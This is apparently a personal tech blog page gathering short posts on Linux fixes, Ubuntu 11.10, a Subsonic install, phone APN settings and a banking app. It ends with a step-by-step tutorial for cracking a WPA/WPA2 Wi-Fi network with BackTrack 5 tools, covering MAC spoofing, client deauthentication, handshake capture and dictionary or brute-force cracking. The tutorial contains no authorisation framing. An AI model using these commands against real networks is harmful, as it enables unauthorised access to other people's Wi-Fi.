All my computers now run some variation of Linux therefore this article was very useful in helping with flashing the BIOS of my various machines.

How to flash motherboard BIOS from Linux (no DOS/Windows, no floppy drive)? | LinuxInsight.

I received an email this morning (see below). If you’re in the market for a hard drive best get one now or else wait until stock levels return to normal in a few months time.

“Flooding in Thailand has caused the closure of a number of hard drive manufacturing and component plants. This has led to worldwide shortages which are expected to last until at least February next year. Hard drive internal and external prices are shooting up. We have very limited stock at cheaper than market prices, especially on our external hard drives. We recommend that if you plan to purchase a hard drive between now and Christmas you should do so while prices are still bearable.“

This is a fairly good way to determine of your Windows PC needs more memory.

How To Fix Your Stuff – Does My Computer Need More Memory or RAM?.

I am currently studying for a CCNA. A friend that already has his CCNA warned me that subnetting can get tricky. This page shows some tricks for calculating subnets and wildcard masks.

What are Wildcard Mask? How do you Wildcard Mark? How do you calculate Wildcard Mask | The DNetWorks.

I have my computers set up with static IP addresses on my network but since upgrading to Ubuntu 11.10 I have noticed that none of them could access anything outside my network.

When I checked the /etc/resolv.conf file I noticed it was blank and even after I populated it it went blank again after a restart.

Here is how I fixed it:

1. Edited /etc/NetworkManager/NetworkManager.conf so it looks like this:

[main]

plugins=ifupdown,keyfile

[ifupdown]

managed=true

i.e. I changed managed=false to managed=true.

After I made and saved these changes I did

$ sudo bash

$ service network-manager stop

$ service network-manager start

It did NOT work to say

$ sudo service network-manager stop

At this point, I restarted and came up with a fully-populated /etc/resolv.conf which had been written by NetworkManager.

via [SOLVED] 11.10 clobbering resolv.conf – Ubuntu Forums.

Canonical released the next version of Ubuntu yesterday to a slew of new features. I have finished my upgrade yet so I can’t give you my personal opinion but there’s a full write up about the new features in the link below.

Top 10 Ubuntu 11.10 Features – Softpedia.

I recently purchased a new HTC smartphone and noticed when I used the live.vodafone.apn Access Point to browse online I was greeted with some Vodafone branding and the pages were rendered strangely (see sections outlined in green in the image below)

After checking my APN settings I realised that there was a proxy server set up in the APN for live.vodafone.com once I removed this and the port number and saved the APN settings the web page looked like this.

For those interested you can change the settings by going to Settings – Wireless&Networks – Mobile Networks – Access Point Names – Vodafone Live! and it should look like this

Subsonic is a free cross platform web media streamer. You can get access to your music anywhere you have an internet connection. Subsonic has an Android app that makes accessing your music even easier.

Subsonic

It is designed to handle very large music collections and will allow you to stream at a range of bitrates so it should work over even the crappiest of internet connections.

It is also extremely easy to install. Once you understand how to access your routers settings and forward ports then you’re golden.

Port Forwarding on DD-WRT

Because I’m a Ubuntu user this installation option applies to Debian Linux, including Ubuntu.

Windows download and instructions

Mac download and instructions

First, install Java: sudo apt-get install openjdk-6-jre

Download the Subsonic .deb package and install it: sudo dpkg -i subsonic-x.x.deb

Notice that the installer configures your system to start Subsonic automatically when booting.

After installing, open the Subsonic web page on http://localhost:4040

Advanced configuration - To change the port number, Java memory settings or other startup parameters, edit the SUBSONIC_ARGS variable in /etc/default/subsonic.

To restart Subsonic, do sudo service subsonic restart

Troubleshooting Check the logs in /var/subsonic.

via Subsonic » Free Music Streamer.

AIB overhauled it’s website to be mobile friendly last fortnight. Since then it has gone one better releasing an app for the Android mobile platform with an iPhone app only weeks away. See below for some screen shots of the app in action.

The app looks very much like the mobile website for AIB. I found that the app was a little easier to use due to the fact that the browser address bar did not keep popping up as I navigated through the site.

The speed of the app and the mobile site are identical and it will depend on the speed of you internet connection.

Business Delivery Manager Stephen Sherwin said “Our Android app went up on the Android Market yesterday – it’s still early days. We’re just starting to promote it on AIB.ie and our various Twitter accounts.”

***Note – Before you begin you must make sure that your wireless card supports packet injection otherwise this tutorial will not work

Step 1 – Boot into BackTrack 5

Step 2 – Open up a Terminal window which is a command line utility built into BackTrack 5. It is the Black Box on the top menu (if you’re using the Gnome version of Backtrack)

Step 3 – Enter the following commands into the command line

• airmon-ng stop wlan0
• ifconfig wlan0 down
• macchanger –mac 00:11:22:33:44:55 wlan0
• airmon-ng start wlan0

Step 4 – We will put the airodump-ng tool into monitor mode, this will allow us to see all of the wireless networks around us.

• airodump-ng mon0 

Step 5 – Choose the network you want to hack and take note of the BSSID, the Channel it is on as well as the ESSID.

*Note* – The PWR has to be fairly high to be able to hack it, this is determined by how close you are to the wireless router. The closer you are, the better.

Step 6 – Once you have chosen your target enter the following commands:

• airodump-ng mon0 –channel * –bssid **:**:**:**:**:** -w filename 

This will write capture packets and put them into the “filename” file. What we are trying to capture here is the handshake between the router and wireless connection which will give us the key we need to crack.

Once “WPA handshake: **:**:**:**:**:**” appears in the top right-hand corner we can move on. If you are having trouble getting the WPA handshake to occur then proceed to Step 7 otherwise continue to Step 8.

Step 7 – Enter the command below to deauthorize a wireless connection and try to re-establish it so it will generate a new handshake to capture. This step ends once you have captured the handshake

• aireplay-ng -0 1 -a **:**:**:**:**:** -c **:**:**:**:**:** mon0 

Step 8 – Now we will try to crack the password in “filename.cap” using a list of words, here called “wordlist.lst” you can download a good 200 million word dictionary here

• aircrack-ng –w wordlist.lst -b **:**:**:**:**:** filename.cap 

Your computer has to compute the hash value of every password in that list but a computer can go through those 200 million passwords in 6-12 hours.

Step 9 - If the password isn’t found in the dictionary you can try and brute-force the password with this command: (Note this could take a very long time depending on their password strength).

• /pentest/password/jtr/john –stdout –incremental:all | aircrack-ng -b **:**:**:**:**:** -w – filename.cap 

via Hack WPA/WPA2.